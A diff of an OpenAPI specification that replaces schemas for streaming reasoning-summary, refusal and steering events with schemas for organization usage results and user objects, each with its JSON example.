- "item_id": "rs_6806bfca0b2481918a5748308061a2600d3ce51bdffd5476",
- "output_index": 0,
- "summary_index": 0,
- "part": {
- "type": "summary_text",
- "text": ""
- },
- "sequence_number": 1
+ "object": "organization.usage.audio_transcriptions.result",
+ "seconds": 10,
+ "num_model_requests": 1,
+ "project_id": "proj_abc",
+ "user_id": "user-abc",
+ "api_key_id": "key_abc",
+ "model": "tts-1"
}
- ResponseReasoningSummaryPartDoneEvent:
+ UsageCodeInterpreterSessionsResult:
type: object
- description: Emitted when a reasoning summary part is completed.
+ description: The aggregated code interpreter sessions usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.reasoning_summary_part.done`.
enum:
- - response.reasoning_summary_part.done
+ - organization.usage.code_interpreter_sessions.result
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the item this summary part is associated with.
- output_index:
- type: integer
- description: |
- The index of the output item this summary part is associated with.
- summary_index:
- type: integer
- description: |
- The index of the summary part within the reasoning summary.
- status:
- type: string
- description: |
- The completion status of the summary part. Omitted when the part completed
- normally and set to `incomplete` when generation was interrupted.
- enum:
- - incomplete
- sequence_number:
+ num_sessions:
type: integer
- description: |
- The sequence number of this event.
- part:
- type: object
- description: |
- The completed summary part.
- properties:
- type:
- type: string
- description: The type of the summary part. Always `summary_text`.
- enum:
- - summary_text
- x-stainless-const: true
- text:
- type: string
- description: The text of the summary part.
- required:
- - type
- - text
+ description: The number of code interpreter sessions.
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
required:
- - type
- - item_id
- - output_index
- - summary_index
- - part
- - sequence_number
+ - object
+ - num_sessions
x-oaiMeta:
- name: response.reasoning_summary_part.done
- group: responses
+ name: Code interpreter sessions usage object
example: |
{
- "type": "response.reasoning_summary_part.done",
- "item_id": "rs_6806bfca0b2481918a5748308061a2600d3ce51bdffd5476",
- "output_index": 0,
- "summary_index": 0,
- "part": {
- "type": "summary_text",
- "text": "**Responding to a greeting**\n\nThe user just said, \"Hello!\" So, it seems I need to engage. I'll greet them back and offer help since they're looking to chat. I could say something like, \"Hello! How can I assist you today?\" That feels friendly and open. They didn't ask a specific question, so this approach will work well for starting a conversation. Let's see where it goes from there!"
- },
- "sequence_number": 1
+ "object": "organization.usage.code_interpreter_sessions.result",
+ "num_sessions": 1,
+ "project_id": "proj_abc"
}
- ResponseReasoningSummaryTextDeltaEvent:
+ UsageCompletionsResult:
type: object
- description: Emitted when a delta is added to a reasoning summary text.
+ description: The aggregated completions usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.reasoning_summary_text.delta`.
enum:
- - response.reasoning_summary_text.delta
+ - organization.usage.completions.result
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the item this summary text delta is associated with.
- output_index:
+ input_tokens:
type: integer
- description: |
- The index of the output item this summary text delta is associated with.
- summary_index:
+ description: The aggregated number of input tokens used, including cached and cache-write tokens. This includes text, audio, and image tokens. For customers subscribed to Scale Tier, this includes Scale Tier tokens.
+ input_cached_tokens:
type: integer
- description: |
- The index of the summary part within the reasoning summary.
- delta:
- type: string
- description: |
- The text delta that was added to the summary.
- sequence_number:
+ description: The aggregated number of cached input tokens used across text, audio, and image inputs. For customers subscribed to Scale Tier, this includes Scale Tier tokens.
+ input_cache_write_tokens:
type: integer
- description: |
- The sequence number of this event.
+ description: The aggregated number of input tokens written to the cache.
+ input_uncached_tokens:
+ type: integer
+ description: The aggregated number of uncached input tokens used across text, audio, and image inputs, excluding cache-write tokens.
+ output_tokens:
+ type: integer
+ description: The aggregated number of output tokens used across text, audio, and image outputs. For customers subscribed to Scale Tier, this includes Scale Tier tokens.
+ input_text_tokens:
+ type: integer
+ description: The aggregated number of uncached text input tokens used, excluding cache-write tokens.
+ output_text_tokens:
+ type: integer
+ description: The aggregated number of text output tokens used.
+ input_cached_text_tokens:
+ type: integer
+ description: The aggregated number of cached text input tokens used.
+ input_audio_tokens:
+ type: integer
+ description: The aggregated number of uncached audio input tokens used.
+ input_cached_audio_tokens:
+ type: integer
+ description: The aggregated number of cached audio input tokens used.
+ output_audio_tokens:
+ type: integer
+ description: The aggregated number of audio output tokens used.
+ input_image_tokens:
+ type: integer
+ description: The aggregated number of uncached image input tokens used.
+ input_cached_image_tokens:
+ type: integer
+ description: The aggregated number of cached image input tokens used.
+ output_image_tokens:
+ type: integer
+ description: The aggregated number of image output tokens used.
+ num_model_requests:
+ type: integer
+ description: The count of requests made to the model.
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
+ user_id:
+ anyOf:
+ - type: string
+ description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ - type: 'null'
+ api_key_id:
+ anyOf:
+ - type: string
+ description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - type: 'null'
+ model:
+ anyOf:
+ - type: string
+ description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ - type: 'null'
+ batch:
+ anyOf:
+ - type: boolean
+ description: When `group_by=batch`, this field tells whether the grouped usage result is batch or not.
+ - type: 'null'
+ service_tier:
+ anyOf:
+ - type: string
+ description: When `group_by=service_tier`, this field provides the service tier of the grouped usage result.
+ - type: 'null'
required:
- - type
- - item_id
- - output_index
- - summary_index
- - delta
- - sequence_number
+ - object
+ - input_tokens
+ - output_tokens
+ - num_model_requests
x-oaiMeta:
- name: response.reasoning_summary_text.delta
- group: responses
+ name: Completions usage object
example: |
{
- "type": "response.reasoning_summary_text.delta",
- "item_id": "rs_6806bfca0b2481918a5748308061a2600d3ce51bdffd5476",
- "output_index": 0,
- "summary_index": 0,
- "delta": "**Responding to a greeting**\n\nThe user just said, \"Hello!\" So, it seems I need to engage. I'll greet them back and offer help since they're looking to chat. I could say something like, \"Hello! How can I assist you today?\" That feels friendly and open. They didn't ask a specific question, so this approach will work well for starting a conversation. Let's see where it goes from there!",
- "sequence_number": 1
+ "object": "organization.usage.completions.result",
+ "input_tokens": 5000,
+ "input_cached_tokens": 1800,
+ "input_cache_write_tokens": 200,
+ "input_uncached_tokens": 3000,
+ "output_tokens": 1000,
+ "input_text_tokens": 2500,
+ "output_text_tokens": 800,
+ "input_cached_text_tokens": 1500,
+ "input_audio_tokens": 300,
+ "input_cached_audio_tokens": 100,
+ "output_audio_tokens": 100,
+ "input_image_tokens": 200,
+ "input_cached_image_tokens": 200,
+ "output_image_tokens": 100,
+ "num_model_requests": 5,
+ "project_id": "proj_abc",
+ "user_id": "user-abc",
+ "api_key_id": "key_abc",
+ "model": "gpt-6-astra",
+ "batch": false,
+ "service_tier": "default"
}
- ResponseReasoningSummaryTextDoneEvent:
+ UsageEmbeddingsResult:
type: object
- description: Emitted when a reasoning summary text is completed.
+ description: The aggregated embeddings usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.reasoning_summary_text.done`.
enum:
- - response.reasoning_summary_text.done
+ - organization.usage.embeddings.result
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the item this summary text is associated with.
- output_index:
- type: integer
- description: |
- The index of the output item this summary text is associated with.
- summary_index:
+ input_tokens:
type: integer
- description: |
- The index of the summary part within the reasoning summary.
- text:
- type: string
- description: |
- The full text of the completed reasoning summary.
- sequence_number:
+ description: The aggregated number of input tokens used.
+ num_model_requests:
type: integer
- description: |
- The sequence number of this event.
+ description: The count of requests made to the model.
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
+ user_id:
+ anyOf:
+ - type: string
+ description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ - type: 'null'
+ api_key_id:
+ anyOf:
+ - type: string
+ description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - type: 'null'
+ model:
+ anyOf:
+ - type: string
+ description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ - type: 'null'
required:
- - type
- - item_id
- - output_index
- - summary_index
- - text
- - sequence_number
+ - object
+ - input_tokens
+ - num_model_requests
x-oaiMeta:
- name: response.reasoning_summary_text.done
- group: responses
+ name: Embeddings usage object
example: |
{
- "type": "response.reasoning_summary_text.done",
- "item_id": "rs_6806bfca0b2481918a5748308061a2600d3ce51bdffd5476",
- "output_index": 0,
- "summary_index": 0,
- "text": "**Responding to a greeting**\n\nThe user just said, \"Hello!\" So, it seems I need to engage. I'll greet them back and offer help since they're looking to chat. I could say something like, \"Hello! How can I assist you today?\" That feels friendly and open. They didn't ask a specific question, so this approach will work well for starting a conversation. Let's see where it goes from there!",
- "sequence_number": 1
+ "object": "organization.usage.embeddings.result",
+ "input_tokens": 20,
+ "num_model_requests": 2,
+ "project_id": "proj_abc",
+ "user_id": "user-abc",
+ "api_key_id": "key_abc",
+ "model": "text-embedding-ada-002-v2"
}
- ResponseReasoningTextDeltaEvent:
+ UsageFileSearchCallsResult:
type: object
- description: Emitted when a delta is added to a reasoning text.
+ description: The aggregated file search calls usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.reasoning_text.delta`.
enum:
- - response.reasoning_text.delta
+ - organization.usage.file_searches.result
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the item this reasoning text delta is associated with.
- output_index:
- type: integer
- description: |
- The index of the output item this reasoning text delta is associated with.
- content_index:
- type: integer
- description: |
- The index of the reasoning content part this delta is associated with.
- delta:
- type: string
- description: |
- The text delta that was added to the reasoning content.
- sequence_number:
+ num_requests:
type: integer
- description: |
- The sequence number of this event.
+ description: The count of file search calls.
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
+ user_id:
+ anyOf:
+ - type: string
+ description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ - type: 'null'
+ api_key_id:
+ anyOf:
+ - type: string
+ description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - type: 'null'
+ vector_store_id:
+ anyOf:
+ - type: string
+ description: When `group_by=vector_store_id`, this field provides the vector store ID of the grouped usage result.
+ - type: 'null'
required:
- - type
- - item_id
- - output_index
- - content_index
- - delta
- - sequence_number
+ - object
+ - num_requests
x-oaiMeta:
- name: response.reasoning_text.delta
- group: responses
+ name: File search calls usage object
example: |
{
- "type": "response.reasoning_text.delta",
- "item_id": "rs_123",
- "output_index": 0,
- "content_index": 0,
- "delta": "The",
- "sequence_number": 1
+ "object": "organization.usage.file_searches.result",
+ "num_requests": 2,
+ "project_id": "proj_abc",
+ "user_id": "user-abc",
+ "api_key_id": "key_abc",
+ "vector_store_id": "vs_abc"
}
- ResponseReasoningTextDoneEvent:
+ UsageImagesResult:
type: object
- description: Emitted when a reasoning text is completed.
+ description: The aggregated images usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.reasoning_text.done`.
enum:
- - response.reasoning_text.done
+ - organization.usage.images.result
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the item this reasoning text is associated with.
- output_index:
- type: integer
- description: |
- The index of the output item this reasoning text is associated with.
- content_index:
+ images:
type: integer
- description: |
- The index of the reasoning content part.
- text:
- type: string
- description: |
- The full text of the completed reasoning content.
- sequence_number:
+ description: The number of images processed.
+ num_model_requests:
type: integer
- description: |
- The sequence number of this event.
+ description: The count of requests made to the model.
+ source:
+ anyOf:
+ - type: string
+ description: When `group_by=source`, this field provides the source of the grouped usage result, possible values are `image.generation`, `image.edit`, `image.variation`.
+ - type: 'null'
+ size:
+ anyOf:
+ - type: string
+ description: When `group_by=size`, this field provides the image size of the grouped usage result.
+ - type: 'null'
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
+ user_id:
+ anyOf:
+ - type: string
+ description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ - type: 'null'
+ api_key_id:
+ anyOf:
+ - type: string
+ description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - type: 'null'
+ model:
+ anyOf:
+ - type: string
+ description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ - type: 'null'
required:
- - type
- - item_id
- - output_index
- - content_index
- - text
- - sequence_number
+ - object
+ - images
+ - num_model_requests
x-oaiMeta:
- name: response.reasoning_text.done
- group: responses
+ name: Images usage object
example: |
{
- "type": "response.reasoning_text.done",
- "item_id": "rs_123",
- "output_index": 0,
- "content_index": 0,
- "text": "The user is asking...",
- "sequence_number": 4
+ "object": "organization.usage.images.result",
+ "images": 2,
+ "num_model_requests": 2,
+ "size": "1024x1024",
+ "source": "image.generation",
+ "project_id": "proj_abc",
+ "user_id": "user-abc",
+ "api_key_id": "key_abc",
+ "model": "dall-e-3"
}
- ResponseRefusalDeltaEvent:
+ UsageModerationsResult:
type: object
- description: Emitted when there is a partial refusal text.
+ description: The aggregated moderations usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.refusal.delta`.
enum:
- - response.refusal.delta
+ - organization.usage.moderations.result
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the output item that the refusal text is added to.
- output_index:
- type: integer
- description: |
- The index of the output item that the refusal text is added to.
- content_index:
+ input_tokens:
type: integer
- description: |
- The index of the content part that the refusal text is added to.
- delta:
- type: string
- description: |
- The refusal text that is added.
- sequence_number:
+ description: The aggregated number of input tokens used.
+ num_model_requests:
type: integer
- description: |
- The sequence number of this event.
+ description: The count of requests made to the model.
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
+ user_id:
+ anyOf:
+ - type: string
+ description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ - type: 'null'
+ api_key_id:
+ anyOf:
+ - type: string
+ description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - type: 'null'
+ model:
+ anyOf:
+ - type: string
+ description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ - type: 'null'
required:
- - type
- - item_id
- - output_index
- - content_index
- - delta
- - sequence_number
+ - object
+ - input_tokens
+ - num_model_requests
x-oaiMeta:
- name: response.refusal.delta
- group: responses
+ name: Moderations usage object
example: |
{
- "type": "response.refusal.delta",
- "item_id": "msg_123",
- "output_index": 0,
- "content_index": 0,
- "delta": "refusal text so far",
- "sequence_number": 1
+ "object": "organization.usage.moderations.result",
+ "input_tokens": 20,
+ "num_model_requests": 2,
+ "project_id": "proj_abc",
+ "user_id": "user-abc",
+ "api_key_id": "key_abc",
+ "model": "text-moderation"
}
- ResponseRefusalDoneEvent:
+ UsageResponse:
type: object
- description: Emitted when refusal text is finalized.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.refusal.done`.
enum:
- - response.refusal.done
+ - page
x-stainless-const: true
- item_id:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/UsageTimeBucket'
+ has_more:
+ type: boolean
+ next_page:
+ anyOf:
+ - type: string
+ - type: 'null'
+ required:
+ - object
+ - data
+ - has_more
+ - next_page
+ UsageTimeBucket:
+ type: object
+ properties:
+ object:
type: string
- description: |
- The ID of the output item that the refusal text is finalized.
- output_index:
- type: integer
- description: |
- The index of the output item that the refusal text is finalized.
- content_index:
+ enum:
+ - bucket
+ x-stainless-const: true
+ start_time:
type: integer
- description: |
- The index of the content part that the refusal text is finalized.
- refusal:
- type: string
- description: |
- The refusal text that is finalized.
- sequence_number:
+ end_time:
type: integer
- description: |
- The sequence number of this event.
+ results:
+ type: array
+ items:
+ discriminator:
+ propertyName: object
+ anyOf:
+ - $ref: '#/components/schemas/UsageCompletionsResult'
+ - $ref: '#/components/schemas/UsageEmbeddingsResult'
+ - $ref: '#/components/schemas/UsageModerationsResult'
+ - $ref: '#/components/schemas/UsageImagesResult'
+ - $ref: '#/components/schemas/UsageAudioSpeechesResult'
+ - $ref: '#/components/schemas/UsageAudioTranscriptionsResult'
+ - $ref: '#/components/schemas/UsageVectorStoresResult'
+ - $ref: '#/components/schemas/UsageCodeInterpreterSessionsResult'
+ - $ref: '#/components/schemas/UsageFileSearchCallsResult'
+ - $ref: '#/components/schemas/UsageWebSearchCallsResult'
+ - $ref: '#/components/schemas/CostsResult'
required:
- - type
- - item_id
- - output_index
- - content_index
- - refusal
- - sequence_number
- x-oaiMeta:
- name: response.refusal.done
- group: responses
- example: |
- {
- "type": "response.refusal.done",
- "item_id": "item-abc",
- "output_index": 1,
- "content_index": 2,
- "refusal": "final refusal text",
- "sequence_number": 1
- }
- ResponseSteerAcceptedEvent:
+ - object
+ - start_time
+ - end_time
+ - results
+ UsageVectorStoresResult:
type: object
- title: ResponseSteerAcceptedEvent
- description: |
- Emitted when steering input has been validated and queued. Acceptance means
- the server owns the input, not that it has been applied. The successor's
- `response.created` event is the commit point. If accepted input cannot be
- committed, `response.steer.failed` returns it with the same steering ID.
-
- When the response stops for client-owned tool output or approval, the input
- remains queued and `response.steer.pending` is emitted after
- `response.completed`. Fill the pending event's `required_input` stubs with
- saved results and send one matching explicit `response.create` per parent.
- Do not resend accepted input while it is still queued.
+ description: The aggregated vector stores usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
enum:
- - response.steer.accepted
- description: The event discriminator. Always `response.steer.accepted`.
+ - organization.usage.vector_stores.result
x-stainless-const: true
- sequence_number:
+ usage_bytes:
type: integer
- description: The sequence number for this event.
- steer:
- type: object
- description: The accepted steering submission.
- properties:
- id:
- type: string
- description: The ID assigned to the steering submission.
- previous_response_id:
- type: string
- description: The ID of the response being steered.
- required:
- - id
- - previous_response_id
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present when
- the target response's `response.create` event supplied a `stream_id`.
+ description: The vector stores usage in bytes.
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
required:
- - type
- - sequence_number
- - steer
+ - object
+ - usage_bytes
x-oaiMeta:
- name: response.steer.accepted
- group: responses
+ name: Vector stores usage object
example: |
{
- "type": "response.steer.accepted",
- "sequence_number": 2,
- "steer": {
- "id": "steer_456",
- "previous_response_id": "resp_123"
- }
+ "object": "organization.usage.vector_stores.result",
+ "usage_bytes": 1024,
+ "project_id": "proj_abc"
}
- ResponseSteerErrorCode:
- title: ResponseSteerErrorCode
- description: |
- A machine-readable steering error code. Clients should handle unknown
- values because additional codes may be introduced. Known values include:
- - `response_not_found`: The target response is not available on this connection.
- - `invalid_input`: The event or input failed validation.
- - `steering_not_supported`: The model or response execution mode does not support steering.
- - `too_many_pending_steers`: Too much steering input is pending for the response.
- - `response_already_completed`: The response completed and is no longer accepting steering input.
- - `response_not_active`: The response is no longer accepting steering input.
- - `successor_creation_failed`: The successor response could not be created.
- anyOf:
- - type: string
- enum:
- - response_not_found
- - invalid_input
- - steering_not_supported
- - too_many_pending_steers
- - response_already_completed
- - response_not_active
- - successor_creation_failed
- - type: string
- ResponseSteerEvent:
+ UsageWebSearchCallsResult:
type: object
- title: ResponseSteerEvent
- additionalProperties: false
- description: |
- Queues user input to steer a response on this WebSocket connection. Input
- can contain text, images, and files. Steering is supported only for
- single-agent responses on models and execution modes that support steering.
- Responses bound to a conversation or using automatic compaction do not
- support steering.
-
- A `response.steer.accepted` event acknowledges that the server owns the
- queued input, not that it has been applied. The successor's `response.created`
- event is the commit point. Input that cannot be committed is returned in
- `response.steer.failed`.
-
- Steering may cause the active response to finish at a safe output boundary
- with `response.incomplete` and `incomplete_details.reason` set to `steered`,
- followed automatically by a successor `response.created`. Normal completion
- can also be followed by an automatic successor. Automatic successors inherit
- the previous response's settings and continue from it with the queued input.
-
- If the response stops for client-owned tool output or approval, accepted
- steering input remains queued and `response.steer.pending` is emitted after
- `response.completed`. Fill the `required_input` stubs from that event with
- saved tool results or approval decisions, and send one explicit
- `response.create` per parent with the same `previous_response_id` and
- WebSocket lane. Do not rerun tools or resend accepted steering input. The
- queued input is prepended in submission order to that request's input, and
- the explicit request retains its own settings.
-
- This event accepts only `type`, `previous_response_id`, and `input`. Do not
- send `stream_id`; the target response determines the WebSocket lane.
+ description: The aggregated web search calls usage details of the specific time bucket.
properties:
- type:
+ object:
type: string
enum:
- - response.steer
- description: The event discriminator. Always `response.steer`.
+ - organization.usage.web_searches.result
x-stainless-const: true
- previous_response_id:
- type: string
- description: The ID of the response to steer on this WebSocket connection.
- input:
- $ref: '#/components/schemas/ResponseSteerInput'
+ num_model_requests:
+ type: integer
+ description: The count of model requests.
+ num_requests:
+ type: integer
+ description: The count of web search calls.
+ project_id:
+ anyOf:
+ - type: string
+ description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ - type: 'null'
+ user_id:
+ anyOf:
+ - type: string
+ description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ - type: 'null'
+ api_key_id:
+ anyOf:
+ - type: string
+ description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - type: 'null'
+ model:
+ anyOf:
+ - type: string
+ description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ - type: 'null'
+ context_level:
+ anyOf:
+ - type: string
+ description: When `group_by=context_level`, this field provides the search context size of the grouped usage result.
+ - type: 'null'
required:
- - type
- - previous_response_id
- - input
+ - object
+ - num_model_requests
+ - num_requests
x-oaiMeta:
- name: response.steer
- group: responses
+ name: Web search calls usage object
example: |
{
- "type": "response.steer",
- "previous_response_id": "resp_123",
- "input": [
- {
- "type": "message",
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": "Prioritize the database rollout."
- }
- ]
- }
- ]
+ "object": "organization.usage.web_searches.result",
+ "num_model_requests": 2,
+ "num_requests": 2,
+ "project_id": "proj_abc",
+ "user_id": "user-abc",
+ "api_key_id": "key_abc",
+ "model": "gpt-6-astra",
+ "context_level": "medium"
}
- ResponseSteerFailedEvent:
+ User:
type: object
- title: ResponseSteerFailedEvent
- description: |
- Emitted when steering input is rejected or cannot be committed to a
- successor response. Returns the original, uncommitted input so the client
- can carry it into `response.create` when appropriate. Invalid input must
- be corrected before retrying.
-
- Failures after acceptance include the same steering ID. Failures before an
- ID is allocated omit `steer.id`. A lost connection or missing acknowledgement
- leaves the outcome unknown; it is not proof that the input was rejected.
+ description: Represents an individual `user` within an organization.
properties:
- type:
+ object:
type: string
enum:
- - response.steer.failed
- description: The event discriminator. Always `response.steer.failed`.
+ - organization.user
+ description: The object type, which is always `organization.user`
x-stainless-const: true
- sequence_number:
+ id:
+ type: string
+ description: The identifier, which can be referenced in API endpoints
+ name:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The name of the user
+ email:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The email address of the user
+ role:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: '`owner` or `reader`'
+ added_at:
type: integer
- description: The sequence number for this event.
- steer:
- type: object
- description: The steering submission that could not be committed.
- properties:
- id:
- type: string
- description: |
- The ID assigned to the steering submission, if one was allocated.
- previous_response_id:
- type: string
- description: The ID of the response that was targeted for steering.
- input:
- $ref: '#/components/schemas/ResponseSteerInput'
- required:
- - previous_response_id
- - input
- error:
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the user was added.
+ is_default:
+ type: boolean
+ description: Whether this is the organization's default user.
+ created:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the user was created.
+ user:
type: object
- description: Information about why the input could not be committed.
+ description: Nested user details.
properties:
- type:
+ object:
type: string
enum:
- - invalid_request_error
- description: The error type. Always `invalid_request_error`.
+ - user
x-stainless-const: true
- code:
- $ref: '#/components/schemas/ResponseSteerErrorCode'
- message:
+ id:
type: string
- description: A human-readable description of the error.
+ email:
+ anyOf:
+ - type: string
+ - type: 'null'
+ name:
+ anyOf:
+ - type: string
+ - type: 'null'
+ picture:
+ anyOf:
+ - type: string
+ - type: 'null'
+ enabled:
+ anyOf:
+ - type: boolean
+ - type: 'null'
+ banned:
+ anyOf:
+ - type: boolean
+ - type: 'null'
+ banned_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ - type: 'null'
required:
- - type
- - code
- - message
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event, when the target response is
- available and its `response.create` event supplied a `stream_id`.
+ - object
+ - id
+ is_service_account:
+ type: boolean
+ description: Whether the user is a service account.
+ is_scale_tier_authorized_purchaser:
+ anyOf:
+ - type: boolean
+ - type: 'null'
+ description: Whether the user is an authorized purchaser for Scale Tier.
+ is_scim_managed:
+ type: boolean
+ description: Whether the user is managed through SCIM.
+ api_key_last_used_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ - type: 'null'
+ description: The Unix timestamp (in seconds) of the user's last API key usage.
+ technical_level:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The technical level metadata for the user.
+ developer_persona:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The developer persona metadata for the user.
+ projects:
+ anyOf:
+ - type: object
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
+ data:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ name:
+ anyOf:
+ - type: string
+ - type: 'null'
+ role:
+ anyOf:
+ - type: string
+ - type: 'null'
+ required:
+ - object
+ - data
+ - type: 'null'
+ description: Projects associated with the user, if included.
required:
- - type
- - sequence_number
- - steer
- - error
- x-oaiMeta:
- name: response.steer.failed
- group: responses
- example: |
- {
- "type": "response.steer.failed",
- "sequence_number": 5,
- "steer": {
- "id": "steer_456",
- "previous_response_id": "resp_123",
- "input": [
- {
- "type": "message",
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": "Prioritize the database rollout."
- }
- ]
- }
- ]
- },
- "error": {
- "type": "invalid_request_error",
- "code": "successor_creation_failed",
- "message": "We couldn't start the next response. Send this steering input again with response.create."
- }
+ - object
+ - id
+ - added_at
+ x-oaiMeta:
+ name: The user object
+ example: |
+ {
+ "object": "organization.user",
+ "id": "user_abc",
+ "name": "First Last",
+ "email": "user@example.com",
+ "role": "owner",
+ "added_at": 1711471533
}
- ResponseSteerInput:
- title: ResponseSteerInput
- description: |
- Input to queue for a continuation of the response. Uses the same string or
- input-item shape as `response.create.input`, with a non-empty array when
- supplying input items.
-
- Steering accepts only messages with the `user` role. Each message may
- contain only `type`, `role`, and `content`, with `content` as a string or an
- array of `input_text`, `input_image`, and `input_file` parts. The optional
- `type` must be `message`. Other roles, tool outputs, and item types are not
- supported for steering.
- anyOf:
- - type: string
- title: Text input
- description: A text input, equivalent to a message with the `user` role.
- - $ref: '#/components/schemas/ResponseSteerInputItemList'
- ResponseSteerInputItem:
- title: Response steer input item
- anyOf:
- - $ref: '#/components/schemas/UserMessageItemParam'
- - $ref: '#/components/schemas/FunctionCallOutputItemParam'
- discriminator:
- propertyName: type
- ResponseSteerInputItemList:
- type: array
- title: Response steer input item list
- description: A non-empty list of message inputs to queue for the response.
- minItems: 1
- items:
- $ref: '#/components/schemas/ResponseSteerInputItem'
- ResponseSteerPendingEvent:
+ UserDeleteResponse:
type: object
- title: ResponseSteerPendingEvent
- description: |
- Emitted when accepted steering input remains queued after the target
- response completes. The server still owns the input. Do not resend it.
- The successor's `response.created` event is the commit point.
-
- When `reason` is `waiting_for_required_input`, this event follows
- `response.completed` while the response waits for the tool results or
- approval decisions identified by `required_input`. Copy those stubs, fill
- their result fields using the ordinary `response.create` input schemas,
- and submit one continuation per parent with the same `previous_response_id`
- and WebSocket lane. Use saved results without rerunning tools. The queued
- steering input is prepended in submission order to the continuation's
- input. That explicit request retains its own settings.
-
- This notification is emitted at most once per steering submission. Multiple
- submissions for the same parent can report the same required inputs; they
- do not each require a separate continuation.
properties:
- type:
+ object:
type: string
enum:
- - response.steer.pending
- description: The event discriminator. Always `response.steer.pending`.
+ - organization.user.deleted
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number for this event.
- steer:
- type: object
- description: The steering submission that remains queued.
- properties:
- id:
- type: string
- description: The ID assigned to the steering submission.
- previous_response_id:
- type: string
- description: The ID of the response being steered.
- required:
- - id
- - previous_response_id
- reason:
- $ref: '#/components/schemas/ResponseSteerPendingReason'
- required_input:
+ id:
+ type: string
+ deleted:
+ type: boolean
+ required:
+ - object
+ - id
+ - deleted
+ UserListResource:
+ type: object
+ description: Paginated list of user objects returned when inspecting group membership.
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ description: Always `list`.
+ x-stainless-const: true
+ data:
type: array
- minItems: 1
- description: |
- Input stubs identifying outstanding client-owned tool results or
- approval decisions. Each stub contains identifying fields only; the
- client supplies the result before including it in `response.create`.
+ description: Users in the current page.
items:
- $ref: '#/components/schemas/ResponseSteerRequiredInput'
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present when
- the target response's `response.create` event supplied a `stream_id`.
+ $ref: '#/components/schemas/GroupUser'
+ has_more:
+ type: boolean
+ description: Whether more users are available when paginating.
+ next:
+ description: Cursor to fetch the next page of results, or `null` when no further users are available.
+ anyOf:
+ - type: string
+ - type: 'null'
required:
- - type
- - sequence_number
- - steer
- - reason
- - required_input
+ - object
+ - data
+ - has_more
+ - next
x-oaiMeta:
- name: response.steer.pending
- group: responses
+ name: Group user list
example: |
{
- "type": "response.steer.pending",
- "sequence_number": 10,
- "steer": {
- "id": "steer_456",
- "previous_response_id": "resp_123"
- },
- "reason": "waiting_for_required_input",
- "required_input": [
- {
- "type": "function_call_output",
- "call_id": "call_789",
- "name": "lookup"
- }
- ]
+ "object": "list",
+ "data": [
+ {
+ "id": "user_abc123",
+ "name": "Ada Lovelace",
+ "email": "ada@example.com"
+ }
